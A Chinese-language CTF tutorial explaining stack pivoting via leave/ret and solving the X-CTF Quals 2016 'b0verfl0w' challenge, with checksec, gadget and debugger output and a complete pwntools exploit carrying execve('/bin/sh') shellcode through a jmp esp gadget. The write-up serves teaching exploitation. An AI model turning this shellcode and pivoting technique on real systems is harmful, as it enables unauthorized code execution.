从零开始的 Pwn 之旅 - 栈迁移

栈迁移初识

  • 当我们栈溢出可用字节较少, 可以考虑进行栈迁移
  • 程序开启了 PIE 保护机制,栈地址未知,我们可以将栈劫持到已知的地址
  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

让我们来深入了解 leaveret 指令

一般在函数的结尾处,我们会看到 leaveret 指令

leave 指令等价于

1
2
mov rsp, rbp
pop rbp

正常情况下 leave 指令的行为

leave 指令示意图

ret 指令返回到 rsp 指向的地址(栈顶)的地址

当前函数的 rbp 寄存器会存储上一层函数的 rbp, rbp+8 则存储返回地址

当我们使用 leave 指令时,实际上是将当前函数的栈帧清理掉,并将栈指针恢复到上一层函数的栈帧位置 函数的返回地址会被保留在栈中,ret 指令会将控制权转移到这个地址

可以发现,返回地址与 rbp 似乎存在一定的映射关系

1
retaddr = rbp + 8

那么我们可以通过覆盖 rbp + 使用两次 leave ret 的方式来控制程序的控制流

如图所示

栈迁移示意图

例题

stackprivot

安全检查

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
~/P/c/p/l/u/s/s/X-CTF Quals 2016 - b0verfl0w ❯❯❯ pwn checksec ./b0verfl0w                                                                                 (.venv) master ✱ ◼
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w/b0verfl0w'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

~/P/c/p/l/u/s/s/X-CTF Quals 2016 - b0verfl0w ❯❯❯ readelf -l ./b0verfl0w                                                                                   (.venv) master ✱ ◼

Elf 文件类型为 EXEC (可执行文件)
Entry point 0x8048400
There are 9 program headers, starting at offset 52

程序头:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x007b8 0x007b8 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00124 0x00160 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x00068c 0x0804868c 0x0804868c 0x0003c 0x0003c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

 Section to Segment mapping:
  段节...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07
   08     .init_array .fini_array .jcr .dynamic .got

发现 STACK 是有可执行权限的

反编译伪代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int vul()
{
  char s[32]; // [esp+18h] [ebp-20h] BYREF

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(s, 50, stdin);
  printf("Hello %s.", s);
  fflush(stdout);
  return 1;
}

可溢出字节 0x32 - (0x20 + 0x4) = 0xe = 14 考虑在栈中布置 shellcode,但是最短的 shellcode 是 23 个字节的,这里不符合条件

只有短短的 14 个字节我们考虑使用栈迁移

寻找相关 gadget

1
2
3
4
5
6
7
8
~/P/c/p/l/u/s/s/X-CTF Quals 2016 - b0verfl0w ❯❯❯ ROPgadget --binary ./b0verfl0w --only "leave|ret"                                                        (.venv) master ✱ ◼
Gadgets information
============================================================
0x08048468 : leave ; ret
0x0804836a : ret
0x0804847e : ret 0xeac1

Unique gadgets found: 3

发现特殊函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
.text:080484FD ; =============== S U B R O U T I N E =======================================
.text:080484FD
.text:080484FD ; Attributes: bp-based frame
.text:080484FD
.text:080484FD ; void hint()
.text:080484FD                 public hint
.text:080484FD hint            proc near
.text:080484FD ; __unwind {
.text:080484FD                 push    ebp
.text:080484FE                 mov     ebp, esp
.text:08048500                 sub     esp, 24h
.text:08048503                 retn
.text:08048503 hint            endp ; sp-analysis failed
.text:08048503
.text:08048504 ; ---------------------------------------------------------------------------
.text:08048504                 jmp     esp
.text:08048506 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS CTRL-NUMPAD+ TO EXPAND]

hint 函数先对栈帧进行了跳转,sub esp, 24h 使得栈帧生长了 0x24 字节大小, 最后返回

使用 gdb 调试查看默认 esp - 0x24 的地址

1
2
3
4
5
6
7
8
9
pwndbg> tele $esp-0x24
00:0000│-030 0xffffcae8 ◂— 'aaaabbbbccccdddd\n'
01:0004│-02c 0xffffcaec ◂— 'bbbbccccdddd\n'
02:0008│-028 0xffffcaf0 ◂— 'ccccdddd\n'
03:000c│-024 0xffffcaf4 ◂— 'dddd\n'
04:0010│-020 0xffffcaf8 ◂— 0xa /* '\n' */
05:0014│-01c 0xffffcafc ◂— 0
06:0018│-018 0xffffcb00 ◂— 0
07:001c│-014 0xffffcb04 —▸ 0xffffcbd4 —▸ 0xffffce21 ◂— '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w/b0verfl0w'

当执行到 ret 指令时,我们发现 esp - 0x24 的位置恰好是我们输入的位置

我们可以在返回地址填入下面的地址来使得 esp 指向我们的输入

1
2
.text:08048500                 sub     esp, 24h
.text:08048503                 retn
此时 rip 指向 retn 指令, retn 指令执行后会使得 esp + 4

我们的上文的 -02c 填入以下地址

1
.text:08048504                 jmp     esp

esp 就会指向上文中 -028 的位置,这里我们正好可以布置 shellcode 可使用空间大小为 36 个字节

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context.arch = "i386"
p = process("./b0verfl0w")

context.terminal = ["kitty", "@", "launch", "--type=window"]

shellcode = asm(
    """
    xor    eax, eax
    push   eax
    push   0x68732f2f
    push   0x6e69622f
    mov    ebx, esp
    push   eax
    mov    edx, esp
    push   ebx
    mov    ecx, esp
    mov    al, 0xb
    int    0x80
"""
)

print(shellcode)
print("Length:", len(shellcode))

p.recvuntil("What's your name?")
payload = p32(0) + p32(0x08048504) + shellcode
payload = payload.ljust(36, b"\x00")
payload += p32(0x08048500)
print("Payload length:", len(payload))

# gdb.attach(p)
# pause()
p.sendline(payload)

p.interactive()